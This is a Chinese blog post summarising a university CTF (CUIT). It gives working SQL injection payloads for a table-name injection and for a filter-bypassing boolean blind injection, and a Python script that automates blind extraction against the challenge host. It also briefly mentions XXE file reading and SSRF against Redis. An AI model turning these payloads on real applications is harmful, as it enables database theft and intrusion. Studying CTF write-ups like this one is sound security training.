十三届CUIT校赛总结

我只看了pt部分,和以前接触到的ctf确实不太一样,不是清一色的代码审计了,相反几乎全是黑盒,还是不错的。

sqli1

第一道是个注入,表名可控,并且可以报错

select * from `可控` from page=1

这里需要post提交来绕过一下过滤,
最终的payload:

a=article` where updatexml(1,concat(0x7e,(select flag from flag_is_here limit/**/0,1)),1)%23&page=1

当然除了where,还有很多其他子句可以用,

SELECT
    [ALL | DISTINCT | DISTINCTROW ]
      [HIGH_PRIORITY]
      [STRAIGHT_JOIN]
      [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
      [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
    select_expr [, select_expr ...]
    [FROM table_references
      [PARTITION partition_list]
    [WHERE where_condition]
    [GROUP BY {col_name | expr | position}
      [ASC | DESC], ... [WITH ROLLUP]]
    [HAVING where_condition]
    [ORDER BY {col_name | expr | position}
      [ASC | DESC], ...]
    [LIMIT {[offset,] row_count | row_count OFFSET offset}]
    [PROCEDURE procedure_name(argument_list)]
    [INTO OUTFILE 'file_name'
        [CHARACTER SET charset_name]
        export_options
      | INTO DUMPFILE 'file_name'
      | INTO var_name [, var_name]]
    [FOR UPDATE | LOCK IN SHARE MODE]]

1.png
参考:
select语法
当表名可控的注入遇到了Describe时的几种情况。

sqli2

这道注入绕的头很大,大概过滤了以下几个点:

  • 空格

  • and,&&

  • 注释

  • union

  • 延时函数

  • 字符串截取函数及逗号
    空格过滤还好办,慢慢打括号就行了,也不一定是括号,单引号这些也能用,反正原则就是要把数据和关键字要分离。

后端语句大概是

select * from table where text=可控 

注意到这里没有单引号,所以这里分离数据和关键字就需要点技巧了,
我用的

text=-1-(0)

这样我们后面的注入关键字就是和数据分离的。
2.png

没开报错,所以只能布尔盲注,但是时间原因,这道题当时没做出来。
最终的payload:

判断库名长度:(7位)
text=-1-(0)or(length(database())>6)
判断库名:(backend)
text=-1-(0)or(database()>'baczaa')
判断当前库表名总长度(16位):
text=-1-(0)or((length((select(group_concat(table_name))from(information_schema.tables)where((length(table_schema)^7)<1))))>15)
判断表名:
text=-1-(0)or(select(group_concat(table_name))from(information_schema.tables)where(length(table_schema)^7)<1)>'!!!!!!!!!!!!!!!!'
...省略了...

查表名定位到当前库有点麻烦,有位师傅想到了亦或运算,用位数定位,要点运气,因为可能存在位数相同的库,不过还好本题能用。另外就是这个group_concat,我觉得也用的很机智,但是也有个问题,就是表名之间是用逗号连接的,后面替代的时候用的字符一定要比逗号小,ascii码最小的是空格,但是过滤了,所以我选择了其次的'!'来替代。
赛后写了个大概的验证脚本,

#! /usr/bin/env python
# coding:utf-8
import requests

def encodePayload(payload):
    url = r'http://54.223.247.98:8090/share.php'
    payload = requests.post(url, data={"text": payload}, headers={"Referer": "a"}).text
    return payload

def dbLength():
    dblength = 0
    for i in range(1, 16):
        payload = r"-1-(0)or(length(database())>" + str(i) + ")"
        payload = encodePayload(payload)
        url = r'http://54.223.247.98:8090/shop_items.php?id=' + payload
        res = requests.get(url)
        if "5 RMB" not in res.text:
            dblength = i
            break
    print u'库名长度:%s' % str(dblength)
def dbName():
    db_name = ''
    li = ['!', '!', '!', '!', '!', '!', '!']
    url = r'http://54.223.247.98:8090/shop_items.php?id=' + r"-1-(0)or(database()>'!!!!!!!')"
    for i in range(0, 7):
        for p in range(33, 127):
            li[i] = chr(p)
            if li[i] in "#*'":
                continue
            payload = r"-1-(0)or(database()>'" + li[0]+li[1]+li[2]+li[3]+li[4]+li[5]+li[6] + "')"
            #print payload
            payload = encodePayload(payload)
            url = r"http://54.223.247.98:8090/shop_items.php?id=" + payload
            res = requests.get(url)
            if "Attack" in res.text:
                continue
            if "5 RMB" not in res.text:
                if i != 6:
                    li[i] = chr(p-1)
                db_name += li[i]
                break
        print u"库名:%s" % db_name
if __name__ == "__main__":
    # dbLength()
    dbName()

XXE

常规的调用参数实体读文件。

ssrf

dict协议盲打redis,出题人的一点失误大大降低此题难度,IP限制错了,导致16进制可绕过。
本来是要用DNS重绑定的,不过也算是学到了这个新姿势。
Use DNS Rebinding to Bypass IP Restriction

菜鸡就看了这几道,最后的实战这位师傅给出了比官方还精彩的wp,也算一点小意外,不过确实很叼。

总结

首先要感谢隔壁师傅出的题确实不错,没有特别坑的脑洞,学到很多姿势。最重要的是,这次从官方的wp里学到一些ctf的技巧,例如fuzz,拿字典对参数一fuzz就知道题目过滤了啥,考点一下就出来了,这是我以前没想到的。

标签: none

添加新评论